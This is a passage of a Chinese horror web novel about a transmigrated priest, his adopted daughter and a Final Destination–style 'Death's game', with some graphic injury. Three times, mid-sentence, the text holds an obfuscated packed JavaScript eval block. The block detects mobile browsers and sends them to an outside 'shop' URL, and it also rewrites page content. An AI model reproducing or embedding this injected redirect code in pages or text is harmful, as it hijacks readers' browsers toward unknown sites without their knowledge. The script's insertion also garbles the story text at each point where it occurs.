《[综恐]正派炮灰如何在恐怖电影艰难求生》 1. 第 1 章 林恩窝在沙发里,他没有开灯,微弱的光源来自于他面前的方形电视,还有林恩的眼镜镜片的蓝色反光。 自从来到这个世界,没有网络游戏,没有笔记本电脑,更没有短视频。林恩迅速妥协并适应,培养出了看电视的习惯。 即使稍显笨重,这也是市面上最新款的电视,屏幕上有比社区所有电视更明亮的颜色,就连透过电视机身的演员声音都更加清晰真实。 林恩挺满意的,他在这个世界是一个超级富二代,早逝的父母给他留下了足够挥霍的金钱。因为不缺钱,林恩从来不会亏待自己,总是给自己买最前沿,最有趣的东西。 这会他正把双脚蜷进沙发里,全身包裹着柔软的薄毯,旁边的桌子上放着冰凉的啤酒,这些能很好地帮助他酝酿睡意。 林恩捧着还没打开的啤酒,说:“我可能要在这里寿终正寝了。” 屋子里没人,但一道机械音却在林恩脑海深处响起,那是他的系统037。 林恩是穿越者。 他穿越前的最后记忆是自己躺在床上玩手机,接着眼前一黑就到了陌生的世界。 037说林恩猝死了,主系统为了复活他消耗了巨大的能量,折算成积分就是十万点。也就是说,林恩需要进入任务世界赚取积分还债,还不了就得死回去。 在任务开始前,林恩只知道他往后去的每一个任务世界都是恐怖电影里的世界。 至于现在,林恩已经从当初的菜鸟萌新变成了一个摆烂的倒霉蛋,他进入任务世界时这具身体只有十六岁,现在也已经二十六岁了。 刚穿越来的时候林恩也崩溃过,最主要的点是科技的飞速退步,他甚至试图用代码敲出几个小游戏,虽然都没有成功,以致于林恩光是看见画质清晰的电视现在都要感叹一句,科技进步刻不容缓。 万幸林恩也有金手指,系统给他加了个好感buff,可以有概率让任务世界的原住民对林恩产生好感。 虽然目前为止林恩也不知道这个好感buff作用在谁身上了。 出于任务要求,十年来林恩每周都会去一趟教堂,林恩会拿着圣经和教堂里德高望重的神父一起祷告,或者参与当天的弥撒,总之等反应过来他已经稀里糊涂成为周围社区最年轻的神父。 想想吧,二十六岁的神父,多么闪亮的成就。 林恩望着自己张开的手指出神,想,如果自己得到的人设不是一个无神论者就更好了。 作为拥有系统的任务者,在获得便利的同时他也被设下绝对的限制,即有一个无论如何都不能崩坏的人设。 在这个任务世界,林恩是绝对的无神论者神父。 每当他念诵圣经时,林恩都得一边想着乱七八糟的东西分散注意力,否则就会崩他无神论者的人设。 除了神父,林恩花了更多的时间精力成为一名医学硕士。 这和任务无关,单纯是林恩在这个世界作为学生的选择。 但和成为神父与完成学业相比,他做得更多的是领养了一个七岁的小女孩。 小小的一个孩子从七岁成长到十七岁,林恩陪着她走过生父的葬礼,升学和叛逆期。 现在已经十七岁的克莱尔即将按学校安排前往巴黎度假。 学历,孩子,社会身份全都具备,可以说林恩的前途一片光明璀璨,照得他晚上失眠在这看电视,也可以说是因为他担心克莱尔而失眠。 林恩正沉浸在对未来的畅想中,系统就不合时宜地来泼冷水, “你想得挺美,任务都没完成还寿终正寝,吃个寿司差不多得了。” 林恩撇撇嘴,受不了这个过于人性化的系统,“037,与其说我,你不如想想是不是自己出了bug,那任务都挂着十年了,半点动静都没有,出了什么问题?我怎么完成?” 林恩刚进入任务世界时已经得知了自己的任务,但自从不知道什么原因任务停滞后,十年来任务再也没有更新。 037被戳到痛处也不想搭理林恩了,独自缩到角落生闷气。 林恩也没有再说话,他像个留守老人,看肥皂剧看得昏昏欲睡。 其实林恩今早也买了第二天去巴黎的飞机票,他在现实中没出过国,没想到穿越后竟然成了亚裔。 037看见他买飞机票,圆润地从角落滚过来,问道:“你去巴黎做什么,如果这期间任务更新怎么办?” 任务停滞前的地点在纽约,就算再次更新地点大概率也会在纽约。 对于这件事,林恩的说法很能自洽,“我已经“待业”十年了,037,我需要放松,精神层面上的。而且克莱尔从没出过远门,你也是看着她长大的,你不担心?反正我好担心。不过几天而已,要是任务更新我就立刻赶回美国。” 037才不管那些冠冕堂皇的理由,毫不留情地嘲讽他,“你变成了一个学不会放手,过度关心孩子的唠叨父亲。” 林恩笑了笑,他喜欢这个称呼。 林恩用起子“啵”地一声打开瓶盖,他想喝一口啤酒,但怎么光是闻到酒精他就要醉了。 林恩头越来越晕,渐渐的,整个世界仿佛被罩在水里,一切声音都霎时间消失。 他若有所感地抬头,刚才还在播放无聊肥皂剧的电视屏幕已经变成白色,正中间有一行红色的字—— 任务:结束死神的游戏 状态更新:未完成 成功:奖励五百积分 失败:扣除一千积分 这积分分配实在有些不公平,可对于欠下十万积分巨债的林恩来说,失败只有死亡一个结局。 “天呐,任务更新了,我就说不是bug吧哼哼。”037洗刷冤屈,欢乐地大叫。 随着系统的声音,空气“噗”地一声就像被戳破的气泡,林恩瞬间清醒过来,他揉了揉脸,试图让自己保持清醒。十年前任务开始时,这种仿佛被单独隔绝在世界外的情况他已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446984|201108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经历过一次,只是这种溺水的感觉实在不好受。 好在异样很快消失,电视机也滋啦两下恢复正常,转而闪出一则新闻播报, “今晚九点二十五分飞往巴黎的180号航班意外坠毁……事故原因尚不明确,据了解,该起事件目前已经移交联邦调查局……” 林恩眼前闪现过十年前一幕幕的场景,十年前林恩乘坐的校车发生连环车祸,只有他和其余九人作为幸存者,可在死神的推手下,其他人接连意外死去,只剩林恩活了下来。 而现在,一切都和十年前重合,只不过由校车变成了飞机。 他脸色瞬间煞白,手指不受控制地痉挛,啤酒倒在地上,发出“滋滋”的气泡声。 037被他的表情吓到了,“林恩!林恩!!你怎么了?” 林恩仿佛被人从身后狠狠凿了一下,他猛地回过神来,在冷汗和放大的呼吸声中说:“这是克莱尔的航班。” 林恩恍恍惚惚地站起来,光脚踩在冰凉的地面,他知道自己应该立刻赶去机场,但因为刚刚才从接收任务的诡异感觉中脱离出来,不听使唤的手脚和刺痛的大脑,让此刻的林恩像一个急需康复训练的老年痴呆患者。 直到一串急促的电话铃声在客厅里响起,那是一个陌生号码,对面在接通后立刻解释:“你好,是林恩先生吗……” 万幸林恩还没有喝酒,等他冒着大雨开车赶到机场候机厅时第一眼就看见了疲惫的克莱尔。 克莱尔正和一个年岁相似的青年坐在一起,两人头挨得很近,说话声音也足够小,确保周围无关的人不会听见。 看见浑身沾满雨水的林恩,克莱尔急忙上前,她用干燥的袖子帮林恩擦干脸上的雨水,又给了他一个温暖的拥抱,“林恩,你没事吧,脸色太糟糕了,出门前有吃药吗?把湿外套换下来,我记得车后备箱里我有放从洗衣店拿回来的衣服。” 克莱尔絮絮叨叨说了不少,又主动介绍身边的人,“这是艾利克斯。” 林恩满身的疲惫都烟消云散,他简直要融化在女儿的拥抱里。林恩一边在脑海里和系统感叹女儿真可爱,一边看向局促站在旁边的艾利克斯。 艾利克斯,一个帅气的十七岁少年,他的面色惨白,眼白因为恐惧和惊慌而布满血丝,显然还沉浸在死里逃生的后怕中。 即使听克莱尔说起过自己这位养父,见到真人时,艾利克斯仍不免惊讶地瞪大眼睛。 他以为看见的会是个谢顶老男人,像那些刻板的可靠医生形象,至少不该这么年轻。 面前的男人看起来像个大学生,乌黑微卷的头发,面容是亚洲人独有的柔和,光是站在那,就让人仍不住想亲近。 这个人瘦削得过分,即使穿上外套也给人一种能够轻易折断的错觉。 林恩刚想问问具体情况,一道声音从背后传来, “林恩,是你吗?” 声音十分熟悉,和林恩十年前的记忆完全重合。 2. 第 2 章 林恩回头看去,是一个穿着皱巴巴黑色西装的中年男人。 他的头发没有造型,为了防止遮挡视线也只是随意用手指抓到脑后,下巴上是一片未刮干净的青色胡茬。 男人瞪大眼睛,震惊地来回打量林恩, “林恩,真的是你!你、你还是和以前一样,一点没变。” 林恩进入任务世界更像意识的穿越,他在任务世界用的身体是系统用几串代码堆的,血肉骨骼的组织构成总量在设定最初就已经分配好,是固定不变的,其中一部分能量会被系统专门储存用来解决任务世界时间流逝带来的□□变化。 这也意味着在任务世界的时间跨度不能太大,如果储存的能量见底,再想要维持基本生命活动就只能从他身体中抽取能量,对外表现则为身体素质下降,感冒发烧不断,容易骨折崴脚。 就像现在林恩那几乎和十年前没有变化的脸和因为寒冷和困顿而摇摇欲坠的身体。 虽说多年未见,但林恩还记得眼前的这位联邦探员——安德鲁,这座城市曾经的警员,在十年前人生的黄金阶段毅然辞职,转而成为联邦调查员,从此东奔西走,再没回过家乡。 这是十年来安德鲁第一次回到纽约。 林恩朝前走了两步,张开双臂轻轻拥抱男人,“好久不见安德鲁,欢迎回来。” 安德鲁看见林恩苍白的脸和单薄的身体,他真怀疑再吹一会冷风林恩就能原地倒下。 候机厅被爆炸冲击波震碎的玻璃还没修好,在这里叙旧显然变得不合适。 于是安德鲁带几人来到了机场贵宾室,当然机场管理人员起先并不同意他们使用,毕竟除安德鲁和林恩外几人都是第一次乘坐飞机,更不是机场的VIP,没有使用贵宾室的待遇。 但安德鲁动用了一点这些年走南闯北积攒下的人脉,获得了可以暂时使用的特权。 贵宾室有单独的空间,四周是竖起的透明玻璃,既不会阻挡视线,也可以隔音保暖。 安德鲁把林恩带去一张角落的沙发,这里更暖和舒适,可以让林恩稍微休息一下。 安德鲁向来是个过分认真的人,此刻更没有多说闲谈,而是看向艾利克斯,直截了当地说:“这个孩子,他提前预感到了飞机会爆炸。我调查过他就是个普通高中生,没有策划恐怖事件的能力和动机……或许那件事又开始了。” 林恩知道,在任务再次更新启动时,他就知道“那件事”又开始了。 既然是死神的游戏,当然所有的一切都按死神意思来,挑选一个在意外事故中活下来的倒霉蛋,赋予他预知危险的能力。可死神并不会放过他们,这些人会在死神创造的各种意外中以更加凄惨的方式死去,满足死神的玩乐心理。 这个游戏,林恩十年前已经参与过一次。 安德鲁说完感受到手心里林恩的小臂肌肉似乎僵硬了一瞬,但等他再抬起头,看到的依旧是林恩平静的表情。 在无法确认是恐怖袭击还是单纯意外的情况下,机场不得不紧急疏散所有旅客。 林恩透过贵宾室的透明玻璃,环视空荡荡的候机厅,飞机失事的幸存者除了克莱尔和艾利克斯都不在现场,他又回头看着眼前身材走形得像水桶,头发半白的探员。 安德鲁只有四十岁,本来不该这么早就白了头发。 林恩问:“安德鲁,你让他们走了?” 林恩没有明说,但两人都知道这个“他们”指的是谁——那些在飞机失事中的幸存者。 根据以往经验,这次没有抓住机会让所有人集合在一起,众人下次见面就一定会付出代价。 安德鲁不合时宜地扯起嘴角,如同自我嘲讽,“林恩,你知道的,我们没有办法。我没有权力把他们扣留在机场,更救不了他们。” 林恩叹了口气,死神游戏最开始的一个难题就是让其他幸存者相信自己,安德鲁是当时和现在唯一相信死神存在的警员。 因此林恩尝试着问:“安德鲁,你这次回来是想做什么呢?” 这句话让周围安静下来,连又挤在一起窃窃私语的克莱尔和艾利克斯都似有所感地回头看。 安德鲁这辈子只退缩过两次,一次是十年前他离开纽约,一次是现在劝林恩放手。 他是个优秀的联邦探员,面对过各式各样的敌人。劫匪,杀人犯,□□,毒品贩子……安德鲁从未退缩害怕,但死神不一样。 一个全知全能,凌驾于所有生物之上的神,祂随便一挥手就能造成数万生命的死亡,再轻轻一抬手,或许也有成百上千的新生。 更何况安德鲁是个虔诚的基督教徒。 十年来,他每到夜晚都会告诉自己,或许这些全都是主的安排,这些人他救不了,也不需要去救。 可安德鲁的良心让他没办法眼睁睁看着幸存者死亡,他只能日复一日地忙碌,最后逃离这座城市,把自己投身到更危险的境地,甚至刻意逃避林恩。 如果他不这样麻逼自己,十年前死去的孩子们,那些从连环车祸里幸存下来的不过十六七岁的高中生,那些幸存下来却又接连死去的亡魂,安德鲁的道德和良知,它们会追上自己,把自己拉入泥泞的沼泽,再也无法脱身。 “我不会参与这件事,或许你也不该参与进来。” 安德鲁躲开林恩的视线,“我不知道这十年你是怎么度过的,但我记得,林恩,当时你的心理评估已经非常危险了,现在已经恢复健康了吗?” 这完全是废话,不管安德鲁怎么劝,林恩都不可能离开。 林恩的任务已经和这些人紧紧联系在一起,他如果不积极参与,难道等任务失败他跟着他们一起死吗? “安德鲁,相信我,我已经完全好了,很健康。”林恩露出一个甜蜜的笑,他的脸有些不自然的酡红,可眼神却仿佛无视了候机厅里的凌冽寒风,“当年还是高中生的我太无力,这一次我想我有能力救下他们……” 分开时艾利克斯一直把克莱尔送到地下车库,艾利克斯从克莱尔这得到了很多让他怀疑人生和世界观的东西,关于死神,关于克莱尔这位年轻的养父,总之,分别格外难。 林恩打开车门让克莱尔先上车,他要和艾利克斯单独聊聊。 即使艾利克斯是一个十七岁的高中生,他也听说过这位神父。 社区里的亚裔神父,每周都会去教堂为大家做弥撒,几乎所有人都信任他。 当然,最让林恩具有传奇色彩的是十年前一起连环车祸。 那真是一场惨烈的连环车祸,几十辆车在公路中间撞在一起,其中包括一辆油罐车和一辆校车。 林恩就是校车上的学生。 剧烈的爆炸下只有十个人活了下来,但这些人都因为各式各样的意外陆续死去,只剩下林恩一个人活着。 有信徒说是因为林恩在濒临死亡之际看见了上帝,得到了赐福,所以他才会成为上帝的奴仆和传道者。 如今看来,十年前的车祸和今天的飞机失事如此相似。 地下车库十足昏暗寂静,只有几盏闪烁的LED灯管和绿莹莹的标识牌,对方的面容都显得模糊起来。 林恩靠着后备箱,他一晚没睡,又开着车从市区狂奔到机场,精神上持续滋生的疲惫让他选择长话短说, “艾利克斯,你被卷入了一场死神的游戏。接下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446985|201108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,死神会按一个固定顺序,可能是学号,年龄,座位……不管是什么顺序,这次飞机失事的幸存者都会再次遇到危险。 而你,艾利克斯,你十分特殊,在每次死亡危机到来前,你都会得到死神的提示。 艾利克斯,我希望你能把得到的提示同步给我。我会尽力保障你们的安全。” 地下室里分明没有风,艾利克斯却感觉到刺骨的寒冷,他不知道自己特殊在哪,所谓的提示又是什么?难道就是那个“噩梦”? 他可以通过提示再次让同学活下来吗? 但林恩口中的死亡危机或许不会再像今天这样简单,只需要提前下飞机就能避开。 艾利克斯想到十年前的车祸幸存者,如今只剩下林恩一个人还活着。 他们这些飞机失事的幸存者又能活下来多少人呢? 艾利克斯把自己从繁杂的思绪里艰难扯出来,他想了很多,可现在却最想知道,“死神是什么?” 这个把二百多个无辜生命玩弄于股掌间的生物,让他如今心脏狂跳得快要发疯的存在,同时未来或许会杀了他的凶手。 艾利克斯要知道对手是谁。 林恩很轻地皱了下眉,在他这张天然会得到别人喜爱的脸庞上,艾利克斯第一次看到了毫不遮掩的厌恶。 林恩的声音像从齿缝间挤出来,“一个没有□□的混蛋。祂代行上帝的审判权柄,只要在生命册上的人都是祂戏耍的对象。” 回去的路上,街道上一个人都没有,只剩下车头惨白的灯光,照出去很远直到变成灰白色,他们仿佛行进在未知的黑暗中。 克莱尔心事重重地问道:“林恩,那些fbi,他们会把艾利克斯当成嫌疑人吗?” 林恩一边把车停稳,一边回答:“放心,不会的,你还记得安德鲁叔叔吗?他以前照顾过你,是个好人。我会向安德鲁解释的。” 林恩没有把克莱尔送回家,而是带到了自己的客卧。在死神的游戏开始后,他不放心克莱尔呆在自己不能立刻赶到的地方。 林恩从鞋柜里取出一双黄色拖鞋,克莱尔继承了父亲留下的房子,但偶尔她会来林恩家做客,所以这双鞋子也一直放在鞋柜里。 “克莱尔,上楼去泡个热水澡,我给你端一杯热可可。” 林恩平日里很少做饭,他有固定联系的社区华人餐厅。 林恩把巧克力化开,这不复杂,即使林恩没有半点厨艺天赋也可以轻松完成。 他把热可可装进保温杯,以免克莱尔出来前温度太低。 接着在厨房发了会呆,他太困了却又完全睡不着,仿佛有什么无形的怪物在抓着他的筋骨把他立起来,因为吹了冷风林恩的头痛得要裂开。 要不是听到楼上卫生间开门的声音林恩可能会这样坐一个晚上。 林恩端着保温杯来到克莱尔房间前,他敲门进房间后看见同样在发呆的克莱尔。 克莱尔把整张脸垂在手心里,对这个和她一起生活了十年的养父不安地问:“林恩,我能活下来吧?” 窗外的风哐哐拍打在玻璃上,这让房间里出现一种十分喧闹的安静。 林恩半蹲下来和克莱尔齐平,他和克莱尔仰起脸后茫然的眼睛对视,坚定地向她承诺,“放心吧克莱尔,我会保护你,你会好好活着的。等明年夏天,你可以去巴黎度假,或者去加利福尼亚冲浪,我会陪着你。” 林恩把保温杯递给她,布莱尔喝了一口,她笑了起来,“你怎么往保温杯里放热可可?这太奇怪了。” 林恩朝她笑,“还好吧,你爸爸曾经可是在保温杯里放过咖啡。” “他是个怪咖!” 3. 第 3 章 把克莱尔安顿好后,林恩没回卧室,他看了眼时间,凌晨四点,距离天亮还有三个小时。 林恩知道自己睡不着,他头脑昏沉,浑身刀割斧凿般酸痛,因为能量见底,想要维持身体活动只能从他的每一丝血肉里榨取能量。 他再次窝进客厅里的单人沙发,用柔软的薄毯从头到脚不留缝隙地包裹住自己。 现在林恩只想窝在沙发里直到明天到来。 离开前忘记关的电视里还在报道飞机失事的新闻,其中一部分飞机残骸坠入海里。已经凌晨三点了,探照灯下的搜救者不知疲倦地乘坐皮艇在陆地和海洋间来回,试图寻找幸存者。 林恩刚进入任务世界时就遇到了和今天相似的情境,十个从连环车祸中逃出生天的幸运儿一个接一个死去,就连福尔摩斯来查都是意外。 林恩还记得克莱尔父亲,也是这具身体的老师,一个善良温和的男人,子弹打在他身上时,血溅得足有半面墙高,满头满脸地浇在自己身上,烫得林恩每次洗脸都能回想起那个温度。 十个人,唯一活下来的人只有林恩。 自此任务陷入停滞,不管037如何向主系统反馈也没有回应。 他把浅黄色的薄毯扯到下巴,说:“037,我可能找到了结束死神游戏的办法。” 037闻言惊喜道:“你在机场和安德鲁说的是真的?我还以为你在说大话呢!” 林恩简直想对自己的系统翻个白眼,“不然你以为我每周去教堂干什么?真潜心向教啊?我只是还需要一个机会来验证猜想,如果真的可行,我就能完成任务了……” “滋。” 话还没说完,屋里骤然漆黑一片,灯和电视机的光线都消失了。 林恩茫然抬头,眼前却什么也看不见。 暴雨还没有停歇,屋内越安静,屋外的风雨声就越发清晰,狂风暴雨哐哐地撞击着窗户。 停电还是跳闸? 林恩对着虚空说:“037同学打开手电。” 系统好歹是个智能AI,除了陪林恩聊天解闷,它还被赋予了一些普通电子产品的基本功能,例如手电和地图,也可以作为时钟,但所有功能都不会超过当前时代的技术发展,所以想玩网游是不可能的。 037很快回答:“开不了。” 林恩更疑惑了,“怎么会开不了,以前不是用过吗?” 系统的话里满含怨念,“还不是因为某个人在任务世界待太久,能量一天天消耗下去,早就不剩多少了。” 开不了手电,林恩只能摸黑站起来,他已经适应了黑暗,勉勉强强可以看到些家具的轮廓。 林恩避开挡在中间的茶几,但裤腿似乎碰到了什么,有东西掉在地毯上发出极其轻微的闷响。 “是水果刀。” 抱怨归抱怨,系统依旧爱岗敬业,提醒道,“你削完果皮后随手放在那了,小心不要踩到。” 林恩点点头,步子跨得更大,他想先去看看窗外,或许只是他的房子跳闸。 地毯不大,仅仅两步后,林恩就踩在了冰凉的地板上,尖锐的冷意像一条细长,布满鳞片的蛇,蛇信从脚心往皮肉里钻,林恩打了个哆嗦。 他又往前走了几步,直到手指拽住窗帘。 林恩拉开窗帘一角,丝丝缕缕的寒风率先扑在林恩的锁骨,接着才露出反射着光亮的玻璃。 窗外的路灯已经熄灭,这点光亮来自于隔着一条马路的领居家里的一点摇晃的火光,那是点燃的蜡烛。 领居是个三四十岁的大高个红脖子,这会正举着手电站在门口查看。 这样看来不是单纯的跳闸,而是这一片区域都停电了。 祸不单行,封窗也不知道什么时候出了问题,而这场雨从傍晚一直下到午夜,成串的雨珠从屋檐落下,啪嗒啪嗒地击打窗户。 除了寒风,林恩手心里的窗帘湿冷,是渗透进来的雨水,在窗框的边缘一小滩水顺着墙壁滴落在地板上。 雨水“滴答滴答”一颗颗扎进林恩的指尖,如同细针挖刺指骨的细密的痛痒感让他咬紧下唇内侧的唇肉。 林恩撒谎了,其实除了十年前的心理测试,这十年间林恩再没有见过任何一名心理医生,所以谈不上什么好没好的。 但他觉得自己已经好得差不多了,生活充实,金钱富裕。 除了轻微的失眠。 可这是正常的,不论是谁在经历了连环车祸后又陷进死神的游戏里都不会好过,他没有进精神病院,也不需要吃各种抗抑郁药物,更不需要远离人群疗养。 林恩只是有些不习惯夜晚的漫长。 但林恩把这归结为没有网游无法熬夜的影响。就像他现在把手指的异样归结为紧张。所以林恩把窗帘彻底拉开,让偶尔劈下的闪电可以透过窗户照进屋里。 雷光无法照亮整个客厅,四个更远的角落依旧漆黑,黑影中似乎有无数蠢蠢欲动的触手,这些触手纠缠、蠕动、堆叠,渗出黏腻的透明液体。 而在客厅的正中央,是一把闪着寒光的水果刀。 空气越发潮湿,其中似乎正在酝酿一场仅存于室内的小型暴风雨。 “有点不对劲。”林恩心跳加速,太阳穴因为紧张而针扎似地痛,他再次重复道:“不对劲,有东西在房子里。” 林恩脑子飞速思考,死神?可自己并不是飞机失事的幸存者,死神名单里怎么会有他? “铃铃铃”一串急促的电话铃声炸响,来源是林恩落在沙发上的手机。 林恩几步走近拿起手机,屏幕上有五个两分钟前的未接电话显示,但林恩没有听见一点电话铃声,不用想都知道是死神玩的把戏。 接通后艾利克斯的声音在客厅里响起, “……林恩!谢天谢地,你终于接电话了!我不知道该怎么说,你可能不会相信……” 林恩把手机拿远,稍稍避开年轻人急躁的声音直刺耳膜,他打断艾利克斯紧张无措的解释,“我相信你,艾利克斯。现在告诉我你发现了什么?” 林恩对声音过于平静,就像浸透在冰冷的冰层下。 这样的声音感染了艾利克斯,他停顿片刻,没有就相信的言论发表意见,只是快速地说出自己的来意,“林恩,我看见了……滋滋,你……滋,小心钉子……滋——嘟嘟。” “咔擦!” 巨大的闪电在半空炸响,最后落在道路尽头的电线杆不远处的地面。 刺眼的白光几乎照亮半个夜空。 手机里霎时间只剩下嘟嘟的提示音,信号彻底断开了。 林恩把手机放回沙发,垂下眼睫说,“死神不允许艾利克斯把话说完,看来我确实是祂的第一目标。” 他不是飞机失事的幸存者,怎么会在死亡名单上?可如今他却是第一目标,难道是因为他知道了结束死神游戏的方法,于是死神迫不及待来收割他的性命了? 林恩不知道原因,但正巧,他也需要一场实验来证实他的猜测。 艾利克斯提示他小心钉子。 林恩看向四周,柜子里有组装用的钉子,墙面有悬挂物品的钉子,头顶的吊灯有加固的钉子,连茶几下的抽屉里也有一整盒钉子。 这些以往不起眼的钉子,现在全成了死神索命的镰刀。 037着急地大喊,“林恩我们去院子里吧,空旷也没有钉子,会安全很多。” 林恩摇摇头,有冷汗从他惨白的额头滑落,微卷的黑发被冷汗浸透贴在额角,“我不能离开,院子里不确定的因素太多,至少这座房子完全在我的掌控下。” 而且林恩想验证自己的猜想,十年前没有实现的猜想,这次林恩要试一试。 死而复生。 他要知道死而复生后能否打破死神游戏。 林恩知道自己是在赌命,但如果能把苗头掐灭在开始就是值得的。 “037你打急救电话的功能还可以正常使用吗?” 037看着冷汗涔涔的林恩,犹豫了一下,说道:“可以是可以,但你……” 林恩勉强笑了笑,“好,你掐准时间,在我快没命的时候拨急救电话,如果救护车过来时被死神阻拦了,你就想办法把克莱尔喊醒,我柜子里还放着两支肾上腺素,能拖延时间。” 037的代码混乱了一瞬间,它突然有些看不明白眼前这个人,十年的折磨没有让林恩变成一个混吃等死的废物,他一直在等待时机。 虽然话是这样说,但林恩总不能真把自己浪死了,他会看情况决定要不要这次试验猜想,如果是伤口会让他短时间死亡,没得救的情况,林恩也会当机立断放弃这次机会。 可林恩没等来死神,倒是对面的邻居敲开了林恩的门。 领居红脖子大叔拿着手电,强光把林恩整个笼罩。 领居嗓门大,问:“不好意思,你家有电钻吗?我家的发电机坏了,我想电钻把它打开修理,结果电钻也是坏的。”他举了举另一只手里破旧的工具包,一把电钻放在放在最表面,示意自己家的不知道什么原因坏了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446986|201108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林恩笑了一下,这或许是死神对他试探行为的干扰,他站在门框边拒绝道:“抱歉,我家里没有电钻,你问问别人吧。” 037:“你骗他做什么?电钻不就在地下室。” 林恩一边面不改色地关上门,一边回应037,“你没看过美剧吗,地下室这么敏感隐私的地方怎么能让邻居进?” 当然真实原因是地下室里有不少木架,上面钉满了钉子,再加上杂七杂八的东西堆在一起,林恩不想再增加未知的危险。 他关上门,回头时看见黑暗中的人影,克莱尔摸索着靠在墙边,她被楼下领居的声音吵醒,此刻从楼梯尽头勉强向下看,不安地问:“林恩,家里好暗,是停电了吗?” 林恩尽量让自己放松,语气正常地道:“暴雨损坏了线路,不用担心,你继续去睡觉吧。” 可惜克莱尔向来直觉精准,不久前又经历了飞机失事,正是敏感的时候,她仿佛猜到了什么,牙齿打颤地问:“是死神吗?祂来了,第一个目标是我?林恩,我、我……” 林恩快步走上楼,他用双手拉住克莱尔的手,希望能通过肌肤相贴让克莱尔安心,但林恩的手冰水浸过一般冷,刚碰到手指林恩就飞快缩回来,他安抚道:“不是你,克莱尔,别怕,不会有事的。” 克莱尔被推着往卧室走,楼下的声音越来越远,她的心跳声却越来越响,克莱尔突然问:“那第一个目标是你吗,林恩?” 不用等林恩回答,克莱尔已经通过林恩下意识停顿的两秒内得到了答案,她往前走了两步,片刻前的恐惧依旧没有消失,但有更重要的东西支撑着她, 克莱尔咬着牙,“林恩,让我来帮你吧。不论对方是死神还是什么,我都会永远站在你身边。” 林恩叹了口气,他就知道,只要被克莱尔发现事情就会发展成这样。克莱尔从小就独立文静,在父亲死后曾经有一段自闭时间,再加上和妈妈关系疏远,只有林恩陪着她走出父亲离世的痛苦。 但也正因如此,克莱尔将林恩视为真正的亲人,她无法接受在亲人处于危险中时,自己却安全地躲起来。 林恩知道劝不住克莱尔,只好表情严肃地说:“好,但是你只能听我的话,中间不要有任何多余的举动,即使我受伤,除非到危及生命的程度,否则不要行动。” 根据林恩十年前的经验,只要没轮到克莱尔,她就不会轻易出事。 克莱尔点点头,“接下来我们该怎么做?” “先回一楼吧。” 下楼时林恩忽然停在原地,他望向楼梯右侧的墙面,语气莫名,“我的画掉了。” 而且是他最喜欢的那幅,画面特别抽象,是一个看不出具体形态也分不出男女的人在追逐太阳。 037曾经问他为什么喜欢这幅画。 林恩当时正把裱好的画用八厘米长的钢钉钉在进门就能看见的墙面,“你不觉得这个太阳很像煎饼吗?我好想念国内的早餐。” 现在这幅画倒扣在地面,可钉子呢? 借着劈下的雷光,林恩视线一寸寸扫过地面却什么也没看见。 林恩一阶一阶往下走,他不放心有一颗不知行踪的钉子,这极有可能是死神为了杀他设下的布置。 慢慢走到门边,轰隆隆的雷鸣响彻整个纽约,林恩脸越来越红,低烧的症状越发明显。 在照亮他半张脸的雷光中,林恩隐约觉得自己遗忘了什么。 林恩停下寻找的动作,不安感被放大,他站在原地,周围所有的声音争先恐后进入林恩耳中,直到他听见在整耳欲聋的雷鸣声中被隐藏的极小极细微的车轮摩擦地面的声音。 在林恩意识到那是什么的时候已经晚了,“哐”的一声巨响,一辆小轿车狠狠撞在门板上,被撞断的木板直直朝着林恩的头削去。 跟在身边的克莱尔惊叫一声,猛地将林恩推开。 天旋地转中,林恩余光瞥见一颗闪着寒光的钉子,消失不见的画框钉子立在地面,此刻它锋利的尖刺正对着林恩裸露的脆弱脖颈。 电光火石间,林恩反应过来,领居的到来并不是为了干扰林恩的试探行为,而是吵醒克莱尔,就为了自己倒向钉子的这一刻。 来不及更多思考,林恩下意识先伸手撑地,在一阵钻心剧痛中,钉子穿过手掌。 他的手被钉在地面,带血的钉尖却越来越近,直到刺入林恩的脖颈,灼热鲜红的血霎时间泉涌而出。 血滴滴嗒嗒地落在地上,他能听见,他还活着。 4. 第 4 章 暴雨通过被撞开的门闯进室内,门前的地毯湿得如同一块被反复熬煮的陈皮,曾经温暖的黄色变得腐烂不堪。 有个老人跌跌撞撞地从撞进大门的车上下来,他看见屋里的场景吓得惊呼一声,小心翼翼地把林恩转了个面。 林恩认识他,这是林恩聘请的家庭医生。 剧痛和血液的鲜红色刺激了林恩,林恩的脑子如同被拨开的迷雾,他终于想起来今天是他固定见家庭医生的时间。但今天发生的事情太多了,再加上低烧,林恩完全忽略了这件事。 血还在往外涌,林恩的手几乎和脖子串在一起。 但还不够,医生就在他身边,这样的伤不足以让林恩达到濒死的状态。 